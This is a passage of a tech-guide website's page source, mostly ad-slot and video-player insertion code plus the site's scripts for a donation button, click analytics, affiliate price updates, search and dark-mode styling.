WeakMap)}_capturePreSlotInsertionMainContentMeasurement(){window.adthriveCLS&&(window.adthriveCLS.preSlotInsertionMeasurements?window.adthriveCLS.preSlotInsertionMeasurements.mainContentHeight=this._mainContentHeight:window.adthriveCLS.preSlotInsertionMeasurements={mainContentHeight:this._mainContentHeight})}_capturePreSlotInsertionPageAreaMeasurement(){if(window.adthriveCLS){let e=Ue()*We();window.adthriveCLS.preSlotInsertionMeasurements?window.adthriveCLS.preSlotInsertionMeasurements.totalPageArea=e:window.adthriveCLS.preSlotInsertionMeasurements={totalPageArea:e}}}_getElementCoords(e,t=!1){var n;let r=(n=this._densityElementCoords)==null?void 0:n.get(e);return r?t?r.top:r.bottom:this._getLiveElementCoords(e,t)}_getLiveElementCoords(e,t=!1){let n=e.getBoundingClientRect();return(t?n.top:n.bottom)+window.scrollY}_addContentAd(e,t,n=document){var r;let i=null,a=L(t),o=Oe(t),s=this._clsOptions.siteAds.adOptions.stickyContainerConfig,c=s==null||(r=s.content)==null?void 0:r.enabled,l=c?`adthrive-sticky-container`:``,u=this.addAd(e,this.getDynamicElementId(t),t.position,[l,a,o,...t.classNames]);if(u){let e=we(t,u);if(e.length){var d;(!c||!(!(s==null||(d=s.content)==null)&&d.minHeight))&&(u.style.minHeight=this.locationToMinHeight[t.location]),i={clsDynamicAd:t,dynamicAd:t,element:u,sizes:e,name:`${t.location}_${t.sequence}`,infinite:n!==document}}}return i}getDynamicElementId(e){return`AdThrive_${e.location}_${e.sequence}_${this._device}`}getElements(e,t=document,n){let r=j(e,t);return r.valid,r.elements}_getDynamicAdSelectorContext(e){return{location:e.location,sequence:e.sequence,name:e.name}}_logInvalidBlockedSelector(e,t){}addAd(e,t,n,r=[],i=``){if(!document.getElementById(t)){let a=`<div id="${t}" class="adthrive-ad ${r.join(` `)}"></div>`;i&&(a=`<div class="${i}">${a}</div>`),e.insertAdjacentHTML(n,a)}return document.getElementById(t)}_repeatDynamicAds(t){let n=[],r=t.location===e.Recipe?99:this.locationMaxLazySequence.get(t.location),i=t.lazy?k(r,0):0,a=t.max,o=t.lazyMax,s=i===0&&t.lazy?a+o:Math.min(Math.max(i-t.sequence+1,0),a+o),c=Math.max(a,s);for(let e=0;e<c;e++){let r=Number(t.sequence)+e,i=t.lazy&&e>=a,o=r;t.name===`Recipe_1`&&r>=5&&(o=r+1),n.push({...t,sequence:o,lazy:i})}return n}_locationEnabled(e){let t=this._clsOptions.enabledLocations.includes(e.location),n=this._clsOptions.disableAds&&this._clsOptions.disableAds.all||document.body.classList.contains(`adthrive-disable-all`),r=!document.body.classList.contains(`adthrive-disable-content`)&&!this._clsOptions.disableAds.reasons.has(`content_plugin`);return t&&!n&&r}},Mt=class{constructor(){s(this,`_map`,[])}add(e,t,n,r=document){this._map.push({el:e,coords:t,dynamicAd:n,target:r})}addSorted(e,t,n,r=document){let i=this._upperBoundIndex(t);this._map.splice(i,0,{el:e,coords:t,dynamicAd:n,target:r})}get map(){return this._map}sort(){this._map.sort(({coords:e},{coords:t})=>e-t)}filterUsed(){this._map=this._map.filter(({dynamicAd:e})=>!e.used)}findNeighborIndices(e){let t=this._upperBoundIndex(e);return[t-1>=0?t-1:null,t<this._map.length?t:null]}_upperBoundIndex(e){let t=0,n=this._map.length;for(;t<n;){let r=t+n>>>1;this._map[r].coords<=e?t=r+1:n=r}return t}reset(){this._map=[]}},Nt=class extends Mt{};let Pt=e=>{let t=ne(),n=T(),r=e.siteAdsProfiles,i=null;if(r&&r.length)for(let e of r){let r=e.targeting.device,a=e.targeting.browserEngine,o=r&&r.length&&r.includes(n),s=a&&a.length&&a.includes(t);o&&s&&(i=e)}return i},Ft=e=>{let t=Pt(e);if(t){let e=t.profileId;document.body.classList.add(`raptive-profile-${e}`)}},$={Video_Collapse_Autoplay_SoundOff:`Video_Collapse_Autoplay_SoundOff`,Video_Individual_Autoplay_SOff:`Video_Individual_Autoplay_SOff`,Video_Coll_SOff_Smartphone:`Video_Coll_SOff_Smartphone`,Video_In_Post_ClicktoPlay_SoundOn:`Video_In-Post_ClicktoPlay_SoundOn`,Video_Collapse_Autoplay_SoundOff_15s:`Video_Collapse_Autoplay_SoundOff_15s`,Video_Individual_Autoplay_SOff_15s:`Video_Individual_Autoplay_SOff_15s`,Video_Coll_SOff_Smartphone_15s:`Video_Coll_SOff_Smartphone_15s`,Video_In_Post_ClicktoPlay_SoundOn_15s:`Video_In-Post_ClicktoPlay_SoundOn_15s`};var It=class{get enabled(){throw Error(`Enablement must be defined at factory creation time.`)}};let Lt=(e=navigator.userAgent)=>E(e)===`desktop`;var Rt=class extends It{constructor(e,t,n){super(),this._videoConfig=e,this._component=t,this._context=n,s(this,`_potentialPlayerMap`,void 0),s(this,`_device`,void 0),s(this,`_stickyRelatedOnPage`,!1),s(this,`_relatedMediaIds`,[]),this._device=Lt()?`desktop`:`mobile`,this._potentialPlayerMap=this.setPotentialPlayersMap()}setPotentialPlayersMap(){let e=this._videoConfig.players||[],t=this._filterPlayerMap();return t.stationaryRelated=this._getPotentialStationaryPlayers(e,t.stationaryRelated),this._potentialPlayerMap=t,this._potentialPlayerMap}_getPotentialStationaryPlayers(e,t){let n=new Set(t);return e.forEach(e=>e.type===`stationaryRelated`&&e.enabled&&n.add(e)),[...n]}_filterPlayerMap(){let e=this._videoConfig.players,t={stickyRelated:[],stickyPlaylist:[],stationaryRelated:[]};return e&&e.length?e.filter(e=>{var t;return(t=e.devices)==null?void 0:t.includes(this._device)}).reduce((e,t)=>{if(e[t.type]||(F.event(this._component,`constructor`,`Unknown Video Player Type detected`,t.type),e[t.type]=[]),t.enabled){let n=t.type;this._videoConfig.shouldDisableStickyRelated&&t.type===`stickyRelated`&&(n=`stationaryRelated`),e[n].push(t)}return e},t):t}_checkPlayerSelectorOnPage(e){for(let t of this._potentialPlayerMap[e]){let e=this._getPlacementElement(t);if(e)return{player:t,playerElement:e}}return{player:null,playerElement:null}}_getOverrideElement(e,t,n){if(e&&t){let r=document.createElement(`div`);t.insertAdjacentElement(e.position,r),n=r}else{let{player:e,playerElement:t}=this._checkPlayerSelectorOnPage(`stickyPlaylist`);if(e&&t){let r=document.createElement(`div`);t.insertAdjacentElement(e.position,r),n=r}}return n}_shouldOverrideElement(e){let t=e.getAttribute(`override-embed`);return t===`true`||t===`false`?t===`true`:this._videoConfig.relatedSettings?this._videoConfig.relatedSettings.overrideEmbedLocation:!1}_checkPageSelector(e,t,n=[]){return e&&t&&n.length===0?(window.location.pathname!==`/`&&F.event(`VideoUtils`,`getPlacementElement`,{name:`Error`,message:`PSNF: ${e} does not exist on the page`}),!1):!0}_getElementSelector(e,t,n){return t&&t.length>n?t[n]:(F.event(`VideoUtils`,`getPlacementElement`,{name:`Error`,message:`ESNF: ${e} does not exist on the page`}),null)}_getPlacementElement(e){let{pageSelector:t,elementSelector:n,skip:r}=e,{valid:i,elements:a,...o}=P(t),{valid:s,elements:c,...l}=N(n);return t!==``&&!i?(F.error(`VideoUtils`,`getPlacementElement`,Error(`${t} is not a valid selector`),o),null):s?this._checkPageSelector(t,i,a)&&this._getElementSelector(n,c,r)||null:(F.error(`VideoUtils`,`getPlacementElement`,Error(`${n} is not a valid selector`),l),null)}_getEmbeddedPlayerType(e){if(this._videoConfig.shouldDisableStickyRelated)return`static`;let t=e.getAttribute(`data-player-type`);return(!t||t==="default")&&(t=this._videoConfig.relatedSettings?this._videoConfig.relatedSettings.defaultPlayerType:`static`),this._stickyRelatedOnPage&&(t=`static`),t}_getMediaId(e){let t=e.getAttribute(`data-video-id`);return t?(this._relatedMediaIds.push(t),t):!1}_getOrientation(e){return e.getAttribute(`orientation`)===`vertical`?`vertical`:`horizontal`}_createRelatedPlayer(e,t,n,r,i){t===`collapse`?this._createCollapsePlayer(e,n):t===`static`&&this._createStaticPlayer(e,n,r,i)}_createCollapsePlayer(e,t){let{player:n,playerElement:r}=this._checkPlayerSelectorOnPage(`stickyRelated`),i=n||this._potentialPlayerMap.stationaryRelated[0];i&&i.playerId&&!this._videoConfig.shouldDisableStickyRelated?(this._shouldOverrideElement(t)&&(t=this._getOverrideElement(n,r,t)),t=document.querySelector(`#cls-video-container-${e} > div`)||t,this._createStickyRelatedPlayer({...i,mediaId:e},t)):F.error(this._component,`_createCollapsePlayer`,`No video player found`)}_createStaticPlayer(e,t,n,r){if(this._potentialPlayerMap.stationaryRelated.length&&this._potentialPlayerMap.stationaryRelated[0].playerId){let i=this._potentialPlayerMap.stationaryRelated[0];this._createStationaryRelatedPlayer({...i,mediaOrPlaylistId:e,orientation:r},t,n)}else F.error(this._component,`_createStaticPlayer`,`No video player found`)}_shouldRunAutoplayPlayers(){return!!(this._isVideoAllowedOnPage()&&(this._potentialPlayerMap.stickyRelated.length||this._potentialPlayerMap.stickyPlaylist.length))}_setPlaylistMediaIdWhenStationaryOnPage(e,t){if(this._potentialPlayerMap.stationaryRelated.length&&this._potentialPlayerMap.stationaryRelated[0].playerId&&e&&e.length){let n=e[0].getAttribute(`data-video-id`);return n?{...t,mediaId:n}:t}return t}_determineAutoplayPlayers(e){let t=this._component,n=t===`VideoManagerComponent`,r=this._context;if(this._stickyRelatedOnPage){F.event(t,`stickyRelatedOnPage`,n&&{device:r&&r.device,isDesktop:this._device}||{});return}let{playerElement:i}=this._checkPlayerSelectorOnPage(`stickyPlaylist`),{player:a}=this._checkPlayerSelectorOnPage(`stickyPlaylist`);a&&a.playerId&&i?(a=this._setPlaylistMediaIdWhenStationaryOnPage(e,a),this._createPlaylistPlayer(a,i)):Math.random()<.01&&setTimeout(()=>{F.event(t,`noStickyPlaylist`,n&&{vendor:`none`,device:r&&r.device,isDesktop:this._device}||{})},1e3)}_initializeRelatedPlayers(e){let t=new Map;for(let n=0;n<e.length;n++){let r=e[n],i=r.offsetParent,a=this._getEmbeddedPlayerType(r),o=this._getMediaId(r),s=this._getOrientation(r);if(i&&o){let e=(t.get(o)||0)+1;t.set(o,e),this._createRelatedPlayer(o,a,r,e,s)}}}},zt=class extends Rt{constructor(e,t){super(e,`ClsVideoInsertion`),this._videoConfig=e,this._clsOptions=t,s(this,`_IN_POST_SELECTOR`,`.adthrive-video-player`),s(this,`_WRAPPER_BAR_HEIGHT`,36),s(this,`_playersAddedFromPlugin`,[]),t.removeVideoTitleWrapper&&(this._WRAPPER_BAR_HEIGHT=0)}init(){this._initializePlayers()}_wrapVideoPlayerWithCLS(e,t,n=0,r=`horizontal`){if(e.parentNode){let i=e.offsetWidth,a=r===`vertical`;a&&this._device===`desktop`&&(i*=.5);let o=i*(a?16/9:9/16),s=this._createGenericCLSWrapper(o,t,n);return e.parentNode.insertBefore(s,e),s.appendChild(e),s}return null}_createGenericCLSWrapper(e,t,n){let r=document.createElement(`div`);return r.id=`cls-video-container-${t}`,r.className=`adthrive`,r.style.minHeight=`${e+n}px`,r}_getTitleHeight(){let e=document.createElement(`h3`);e.style.margin=`10px 0`,e.innerText=`Title`,e.style.visibility=`hidden`,document.body.appendChild(e);let t=window.getComputedStyle(e),n=parseInt(t.height,10),r=parseInt(t.marginTop,10),i=parseInt(t.marginBottom,10);return document.body.removeChild(e),Math.min(n+i+r,50)}_initializePlayers(){let e=document.querySelectorAll(this._IN_POST_SELECTOR);e.length&&this._initializeRelatedPlayers(e),this._shouldRunAutoplayPlayers()&&this._determineAutoplayPlayers(e)}_createStationaryRelatedPlayer(e,t,n){let r=this._device===`mobile`?[400,225]:[640,360],i=$.Video_In_Post_ClicktoPlay_SoundOn;if(t&&e.mediaOrPlaylistId){let a=`${e.mediaOrPlaylistId}_${n}`,o=this._wrapVideoPlayerWithCLS(t,a,0,e.orientation);this._playersAddedFromPlugin.push(e.mediaOrPlaylistId),o&&this._clsOptions.setInjectedVideoSlots({playerId:e.playerId,playerName:i,playerSize:r,element:o,type:`stationaryRelated`})}}_createStickyRelatedPlayer(e,t){if(this._videoConfig.shouldDisableStickyRelated)return;let n=this._device===`mobile`?[400,225]:[640,360],r=$.Video_Individual_Autoplay_SOff;if(this._stickyRelatedOnPage=!0,this._videoConfig.mobileStickyPlayerOnPage=this._device===`mobile`,this._videoConfig.collapsiblePlayerOnPage=!0,t&&e.position&&e.mediaId){let i=document.createElement(`div`);t.insertAdjacentElement(e.position,i);let a=this._getTitleHeight(),o=this._wrapVideoPlayerWithCLS(i,e.mediaId,this._WRAPPER_BAR_HEIGHT+a);this._playersAddedFromPlugin.push(e.mediaId),o&&this._clsOptions.setInjectedVideoSlots({playlistId:e.playlistId,playerId:e.playerId,playerSize:n,playerName:r,element:i,type:`stickyRelated`})}}_createPlaylistPlayer(e,t){let n=e.playlistId,r=this._device===`mobile`?$.Video_Coll_SOff_Smartphone:$.Video_Collapse_Autoplay_SoundOff,i=this._device===`mobile`?[400,225]:[640,360];this._videoConfig.mobileStickyPlayerOnPage=!0,this._videoConfig.collapsiblePlayerOnPage=!0;let a=document.createElement(`div`);t.insertAdjacentElement(e.position,a);let o=this._WRAPPER_BAR_HEIGHT;e.title&&(o+=this._getTitleHeight());let s=this._wrapVideoPlayerWithCLS(a,n,o);this._playersAddedFromPlugin.push(`playlist-${n}`),s&&this._clsOptions.setInjectedVideoSlots({playlistId:e.playlistId,playerId:e.playerId,playerSize:i,playerName:r,element:a,type:`stickyPlaylist`})}_isVideoAllowedOnPage(){let e=this._clsOptions.disableAds;if(e&&e.video){let t=``;e.reasons.has(`video_plugin`)?t=`video plugin`:e.reasons.has(`video_page`)&&(t=`command queue`);let n=t?`ClsVideoInsertionMigrated`:`ClsVideoInsertion`;return F.error(n,`isVideoAllowedOnPage`,Error(`DBP: Disabled by publisher via ${t||`other`}`)),!1}return!this._clsOptions.videoDisabledFromPlugin}};try{(()=>{let e=new c;!e||!e.enabled||(e.siteAds&&Ft(e.siteAds),new jt(e,new Nt).start(),new zt(new fe(e),e).init())})()}catch(e){F.error(`CLS`,`pluginsertion-iife`,e),window.adthriveCLS&&(window.adthriveCLS.injectedFromPlugin=!1)}})();</script><script data-no-optimize="1" data-cfasync="false">(function () {var clsElements = document.querySelectorAll("script[id^='cls-']"); window.adthriveCLS && clsElements && clsElements.length === 0 ? window.adthriveCLS.injectedFromPlugin = false : ""; })();</script><script type="speculationrules"> {"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/itg-prime/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]} </script> <script> (function () { var c = document.body.className; c = c.replace(/woocommerce-no-js/, 'woocommerce-js'); document.body.className = c; })(); </script> <script id="ym-donation-scope-kofi-behavior-js-after"> (function () { var storageKey = "ymDonationKofiQuickHiddenUntil"; var hideMs = 7 * 24 * 60 * 60 * 1000; function getHiddenUntil() { try { return Number(window.localStorage.getItem(storageKey) || 0); } catch (error) { return 0; } } function isHidden() { return getHiddenUntil() > Date.now(); } if (isHidden()) { document.documentElement.classList.add("ym-donation-kofi-quick-dismissed"); } function ready(callback) { if (document.readyState === "loading") { document.addEventListener("DOMContentLoaded", callback); return; } callback(); } // Ads own this corner on several sites (Mediavine floating player, network // bottom container) and a few themes park a back-to-top button here. Ad // containers sit far above us in z-order, so a blocked button is an // invisible button. Rather than fight for the spot, step upwards until the // point belongs to us. Runs after ads have had time to settle, twice, // because some of them lazy-load on the first scroll. function clearOfFurniture(wrap) { var tries = 0; function attempt() { var rect = wrap.getBoundingClientRect(); if (!rect.width || wrap.hidden) { return; } var el = document.elementFromPoint(rect.left + rect.width / 2, rect.top + rect.height / 2); if (!el || wrap.contains(el) || tries >= 4) { return; } var current = parseInt(window.getComputedStyle(wrap).bottom, 10); if (!current) { current = 104; } // Stop climbing before the button reaches the middle of the screen: // on a phone three steps would put it over the article itself, which // is worse than losing the corner to an ad. if (current + 96 > window.innerHeight * 0.45) { return; } tries++; wrap.style.setProperty("--ym-kofi-bottom", (current + 96) + "px"); window.setTimeout(attempt, 300); } // Several ad slots only fill after the first scroll, well past the two // early checks, so keep looking for a while and once more on scroll. window.setTimeout(attempt, 2500); window.setTimeout(attempt, 6500); window.setTimeout(attempt, 12000); window.setTimeout(attempt, 20000); window.addEventListener("scroll", function () { window.setTimeout(attempt, 1200); }, { passive: true, once: true }); } ready(function () { var wraps = document.querySelectorAll("[data-ym-kofi-quick]"); if (!wraps.length) { return; } if (isHidden()) { wraps.forEach(function (wrap) { wrap.hidden = true; }); return; } wraps.forEach(function (wrap) { clearOfFurniture(wrap); var close = wrap.querySelector("[data-ym-kofi-dismiss]"); if (!close) { return; } close.addEventListener("click", function (event) { event.preventDefault(); event.stopPropagation(); wrap.hidden = true; document.documentElement.classList.add("ym-donation-kofi-quick-dismissed"); try { window.localStorage.setItem(storageKey, String(Date.now() + hideMs)); } catch (error) {} }); }); }); })(); (function () { var endpoint = "https://techyorker.com/.well-known/ym-kofi-click"; var viewRate = 0.01; function send(payload) { payload.s = location.hostname; payload.p = location.pathname.slice(0, 180); payload.w = window.innerWidth; try { var body = JSON.stringify(payload); // text/plain keeps this a simple cross-origin request: no preflight, // and the reply is ignored, so no CORS headers are needed either. if (navigator.sendBeacon) { navigator.sendBeacon(endpoint, new Blob([body], { type: "text/plain;charset=UTF-8" })); return; } fetch(endpoint, { method: "POST", body: body, mode: "no-cors", keepalive: true }); } catch (error) {} } document.addEventListener("click", function (event) { var link = event.target && event.target.closest ? event.target.closest("a.ym-donation-kofi, a.ym-donation-kofi-float") : null; if (!link) { return; } send({ k: "click", surf: link.classList.contains("ym-donation-kofi-float") ? "float" : "card" }); }, true); function shown(selector) { var el = document.querySelector(selector); if (!el) { return 0; } var rect = el.getBoundingClientRect(); var style = window.getComputedStyle(el); return (rect.width > 1 && rect.height > 1 && style.visibility !== "hidden" && style.display !== "none") ? 1 : 0; } if (Math.random() < viewRate) { var fire = function () { send({ k: "view", card: shown(".ym-donation-kofi"), floatb: shown(".ym-donation-kofi-float") }); }; if (document.readyState === "loading") { document.addEventListener("DOMContentLoaded", fire); } else { fire(); } } })(); //# sourceURL=ym-donation-scope-kofi-behavior-js-after </script> <script id="pinterest-pro-js-js" src="https://www.itechguides.com/wp-content/plugins/easy-social-share-buttons3/assets/modules/pinterest-pro.min.js?ver=10.0"></script> <script id="easy-social-share-buttons-core-js" src="https://www.itechguides.com/wp-content/plugins/easy-social-share-buttons3/assets/js/essb-core.min.js?ver=10.0"></script> <script id="easy-social-share-buttons-core-js-after"> var essb_settings = {"ajax_url":"https:\/\/www.itechguides.com\/wp-admin\/admin-ajax.php","essb3_nonce":"60d04794ac","essb3_plugin_url":"https:\/\/www.itechguides.com\/wp-content\/plugins\/easy-social-share-buttons3","essb3_stats":true,"essb3_ga":false,"essb3_ga_ntg":false,"blog_url":"https:\/\/www.itechguides.com\/","post_id":"876392","internal_stats":true}; //# sourceURL=easy-social-share-buttons-core-js-after </script> <script id="eztoc-scroll-scriptjs-js-extra"> var eztoc_smooth_local = {"scroll_offset":"30","add_request_uri":"","add_self_reference_link":""}; //# sourceURL=eztoc-scroll-scriptjs-js-extra </script> <script id="eztoc-scroll-scriptjs-js" src="https://www.itechguides.com/wp-content/plugins/easy-table-of-contents/assets/js/smooth_scroll.min.js?ver=2.0.88"></script> <script id="eztoc-js-cookie-js" src="https://www.itechguides.com/wp-content/plugins/easy-table-of-contents/vendor/js-cookie/js.cookie.min.js?ver=2.2.1"></script> <script id="eztoc-jquery-sticky-kit-js" src="https://www.itechguides.com/wp-content/plugins/easy-table-of-contents/vendor/sticky-kit/jquery.sticky-kit.min.js?ver=1.9.2"></script> <script id="eztoc-js-js-extra"> var ezTOC = {"smooth_scroll":"1","scroll_offset":"30","fallbackIcon":"\u003Cspan class=\"\"\u003E\u003Cspan class=\"eztoc-hide\" style=\"display:none;\"\u003EToggle\u003C/span\u003E\u003Cspan class=\"ez-toc-icon-toggle-span\"\u003E\u003Csvg style=\"fill: #ffffff;color:#ffffff\" xmlns=\"http://www.w3.org/2000/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"\u003E\u003Cpath d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"\u003E\u003C/path\u003E\u003C/svg\u003E\u003Csvg style=\"fill: #ffffff;color:#ffffff\" class=\"arrow-unsorted-368013\" xmlns=\"http://www.w3.org/2000/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"\u003E\u003Cpath d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"/\u003E\u003C/svg\u003E\u003C/span\u003E\u003C/span\u003E","chamomile_theme_is_on":""}; //# sourceURL=eztoc-js-js-extra </script> <script id="eztoc-js-js" src="https://www.itechguides.com/wp-content/plugins/easy-table-of-contents/assets/js/front.min.js?ver=2.0.88-1789599842"></script> <script id="itgw-main-js" src="https://www.itechguides.com/wp-content/themes/itg-prime/assets/js/main.js?ver=1790186418"></script> <script async data-wp-strategy="async" fetchpriority="low" id="comment-reply-js" src="https://www.itechguides.com/wp-includes/js/comment-reply.min.js?ver=7.0.6"></script> <script id="aawp-js" src="https://www.itechguides.com/wp-content/plugins/aawp/assets/dist/js/main.js?ver=3.18.3"></script> <script id="ym-aawp-creators-price-hydrator-20260606-2"> (function(){ if (window.YM_AAWP_CREATORS_PRICE_HYDRATOR_20260606_2) return; window.YM_AAWP_CREATORS_PRICE_HYDRATOR_20260606_2 = true; var endpoint = "https:\/\/www.itechguides.com\/wp-json\/ym-aawp-creators\/v1\/prices"; function collect(){ var seen = Object.create(null), asins = []; document.querySelectorAll('.aawp-product[data-aawp-product-id], [data-aawp-product-id], [data-aawp-product-asin]').forEach(function(el){ var asin = (el.getAttribute('data-aawp-product-id') || el.getAttribute('data-aawp-product-asin') || '').trim(); if (/^[A-Z0-9]{10}$/.test(asin) && !seen[asin]) { seen[asin] = true; asins.push(asin); } }); return asins.slice(0, 40); } function priceTargets(root){ return Array.prototype.slice.call(root.querySelectorAll( '.aawp-product__price:not(.aawp-product__price--old):not(.aawp-product__price--saved),' + '.aawp-box__price--current,.price--current' )); } function rootsForAsin(asin){ return Array.prototype.slice.call(document.querySelectorAll('[data-aawp-product-id="' + asin + '"], [data-aawp-product-asin="' + asin + '"]')); } function clearNotice(node){ var n = node.parentNode && node.parentNode.querySelector ? node.parentNode.querySelector('.ym-creators-price-timestamp') : null; if (n) n.remove(); } function writeNotice(node, text){ clearNotice(node); if (!text) return; var small = document.createElement('small'); small.className = 'ym-creators-price-timestamp'; small.style.display = 'block'; small.style.fontSize = '11px'; small.style.lineHeight = '1.3'; small.style.color = '#667085'; small.textContent = text; node.insertAdjacentElement('afterend', small); } function writeFallback(root, updatedAt){ priceTargets(root).forEach(function(node){ node.textContent = ''; node.style.display = 'none'; node.style.visibility = 'hidden'; node.setAttribute('data-ym-creators-price-stale', '1'); if (updatedAt) node.setAttribute('data-ym-creators-price-updated', updatedAt); clearNotice(node); }); } function apply(items, asins){ items = items || {}; Object.keys(items).forEach(function(asin){ var item = items[asin]; rootsForAsin(asin).forEach(function(root){ if (!item || item.stale || !item.html) { writeFallback(root, item && item.updated_at ? item.updated_at : ''); return; } priceTargets(root).forEach(function(node){ node.innerHTML = item.html; node.style.display = ''; node.style.visibility = 'visible'; node.removeAttribute('data-ym-creators-price-stale'); node.setAttribute('data-ym-creators-price-updated', item.updated_at || ''); writeNotice(node, item.needs_time ? item.time_html : ''); }); }); }); (asins || []).forEach(function(asin){ if (items[asin]) return; rootsForAsin(asin).forEach(function(root){ writeFallback(root, ''); }); }); try { window.dispatchEvent(new Event('ym:aawp:price-hydrated')); } catch(e) {} } function run(){ var asins = collect(); if (!asins.length || !window.fetch) return; fetch(endpoint + '?asins=' + encodeURIComponent(asins.join(',')) + '&_ym=' + Date.now(), {credentials:'same-origin', cache:'no-store'}) .then(function(res){ return res.ok ? res.json() : null; }) .then(function(data){ if (data && data.items) apply(data.items, asins); }) .catch(function(){}); } if (document.readyState === 'loading') document.addEventListener('DOMContentLoaded', run); else run(); window.addEventListener('load', run); })(); </script> <script id="itgp-one-menu-signin">(function(){var d=document;if(!/(?:^|;\s*)itg_vd=1(?:;|$)/.test(d.cookie||""))return;function sw(a){if(a.getAttribute("data-itgp-signin")==="on")return;a.setAttribute("data-itgp-signin","on");a.textContent="Account";a.setAttribute("href",(a.getAttribute("href")||"").replace(/\/signin\/*$/,"/"));a.setAttribute("data-itgp-cta",(a.getAttribute("data-itgp-cta")||"").replace(/signin$/,"account"));}function all(){[].forEach.call(d.querySelectorAll("a[data-itgp-signin]"),sw);}all();d.addEventListener("DOMContentLoaded",all);})();</script> <script>(function(){if(!document.querySelector(".ymhs")){var t=document.querySelector('header [data-itgw-theme],header button[aria-pressed],header button[aria-label*="mode" i],header button[aria-label*="dark" i]');var w=document.createElement("template");w.innerHTML="<details class=\"ymhs\" data-ymhs><summary class=\"ymhs-toggle\" aria-label=\"Search\" title=\"Search\"><svg viewBox=\"0 0 24 24\" width=\"19\" height=\"19\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" aria-hidden=\"true\"><circle cx=\"11\" cy=\"11\" r=\"7.5\"><\/circle><line x1=\"21\" y1=\"21\" x2=\"16.8\" y2=\"16.8\"><\/line><\/svg><\/summary><form class=\"ymhs-panel\" role=\"search\" method=\"get\" action=\"https:\/\/www.itechguides.com\/\"><input class=\"ymhs-in\" type=\"search\" name=\"s\" value=\"\" placeholder=\"Search this site…\" aria-label=\"Search this site\" autocomplete=\"off\" enterkeyhint=\"search\" \/><button class=\"ymhs-go\" type=\"submit\" aria-label=\"Search\"><svg viewBox=\"0 0 24 24\" width=\"19\" height=\"19\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" aria-hidden=\"true\"><circle cx=\"11\" cy=\"11\" r=\"7.5\"><\/circle><line x1=\"21\" y1=\"21\" x2=\"16.8\" y2=\"16.8\"><\/line><\/svg><\/button><\/form><\/details>";var el=w.content.firstChild;if(t&&t.parentNode){t.parentNode.insertBefore(el,t);}else{var n=document.querySelector("header nav")||document.querySelector("header");if(n){n.appendChild(el);}}}document.addEventListener("click",function(e){document.querySelectorAll("details.ymhs[open]").forEach(function(d){if(!d.contains(e.target)){d.removeAttribute("open");}});});document.addEventListener("keydown",function(e){if(e.key==="Escape"){document.querySelectorAll("details.ymhs[open]").forEach(function(d){d.removeAttribute("open");});}});document.addEventListener("toggle",function(e){var d=e.target;if(d&&d.classList&&d.classList.contains("ymhs")&&d.open){var i=d.querySelector(".ymhs-in");if(i){i.focus();}}},true);})();</script> <script src="https://www.itechguides.com/best/api/ax.js" data-extra="https://www.itechguides.com/best/api/ax-extra.js" async></script> <style id="itgw-kofi-dark"> html[data-theme="dark"] body .ym-donation-kofi, html[data-theme="dark"] body .ym-donation-kofi-quick { background: var(--wp-surface) !important; border: 1px solid var(--wp-line) !important; color: var(--wp-ink) !important; } html[data-theme="dark"] body .ym-donation-kofi__eyebrow { color: var(--wp-saffron) !important; } html[data-theme="dark"] body .ym-donation-kofi__body, html[data-theme="dark"] body .ym-donation-kofi__text, html[data-theme="dark"] body .ym-donation-kofi-float__text { color: var(--wp-muted) !important; } html[data-theme="dark"] body .ym-donation-kofi__button { background: var(--wp-saffron) !important; border-color: var(--wp-saffron) !important; color: #1B1608 !important; } html[data-theme="dark"] body .ym-donation-kofi-quick__close { color: var(--wp-muted) !important; } </style> <script type="text/javascript"> /* <![CDATA[ */ var aawp_geotargeting_api = ""; var aawp_geotargeting_settings = {"store":"com","mode":"asin"}; var aawp_geotargeting_localized_stores = {"au":"com.au","nz":"com.au","br":"com.br","ca":"ca","cn":"cn","de":"de","at":"de","ch":"de","es":"es","fr":"fr","nl":"nl","in":"in","it":"it","jp":"co.jp","sa":"sg","se":"se","sg":"sg","pl":"pl","tr":"com.tr","mx":"com.mx","gb":"co.uk","ie":"co.uk"}; var aawp_geotargeting_tracking_ids = {"ca":"itechguides04-20","com.au":"itechguides04-20","com.br":"itechguides04-20","cn":"itechguides04-20","de":"itechguides04-20","fr":"itechguides04-20","in":"itechguides04-20","it":"itechguides04-20","co.jp":"itechguides04-20","com.mx":"itechguides04-20","nl":"itechguides04-20","pl":"itechguides04-20","sa":"itechguides04-20","sg":"itechguides04-20","es":"itechguides04-20","se":"itechguides04-20","com.tr":"itechguides04-20","co.uk":"itechguides04-20","ae":"itechguides04-20"}; /* ]]> */ </script> <style id="itgw-phase2-dark"> html[data-theme="dark"] body .ym-aawp-phase2-top, html[data-theme="dark"] body .ym-aawp-phase2-box, html[data-theme="dark"] body .ym-aawp-phase2-bottom, html[data-theme="dark"] body article.ym-phase2-top-card, html[data-theme="dark"] body .ym-aawp-phase2-top .aawp-product, html[data-theme="dark"] body .ym-aawp-phase2-box .aawp-product, html[data-theme="dark"] body .ym-aawp-phase2-bottom .aawp-product { background: var(--wp-surface) !important; border-color: var(--wp-line) !important; color: var(--wp-ink) !important; } html[data-theme="dark"] body .ym-aawp-phase2-top table, html[data-theme="dark"] body 